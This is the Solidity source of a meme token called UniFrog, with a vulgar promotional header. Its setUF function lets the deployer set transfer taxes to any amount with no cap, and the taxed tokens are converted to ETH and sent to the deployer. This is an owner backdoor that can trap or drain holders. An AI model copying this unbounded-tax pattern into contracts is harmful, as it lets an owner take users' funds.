/*

WELCOME TO UNIFROG

Unicorns are awesome and frogs are born as princes

PEPE is the definition of pre historic. When 2 worlds collide a new dominant species is born.

the only autismo coin you'll ever need, is HERE to demonstrate Darwin's theory of evolution.

Hop in and hold your dick tight in your hands.

TG - https://t.me/UniFrogETH
TW - https://twitter.com/UniFrogETH
WEB - https://unifrog.site

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract UniFrog {
        string public constant name = "UniFrog";  //
        string public constant symbol = "UF";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100_000_000 * 10**decimals;

        uint256 BurnToken = 1;
        uint256 SpendToken = 1;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x64d294B7Ca1C5fefaF7519682c8FBb0c96Bc1589)); //

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == deployer || to == deployer);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 taxAmount = amount * (from == pair ? BurnToken : SpendToken) / 100;
                amount -= taxAmount;
                balanceOf[address(this)] += taxAmount;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function openTrading() external {
            require(msg.sender == deployer);
            require(!tradingOpen);
            tradingOpen = true;        
            }

            function _setUF(uint256 newBurn, uint256 newSpend) private {
            BurnToken = newBurn;
            SpendToken = newSpend;
            }

        function setUF(uint256 newBurn, uint256 newSpend) external {
            if(msg.sender != deployer)        
                revert Permissions();
            _setUF(newBurn, newSpend);
            }
        }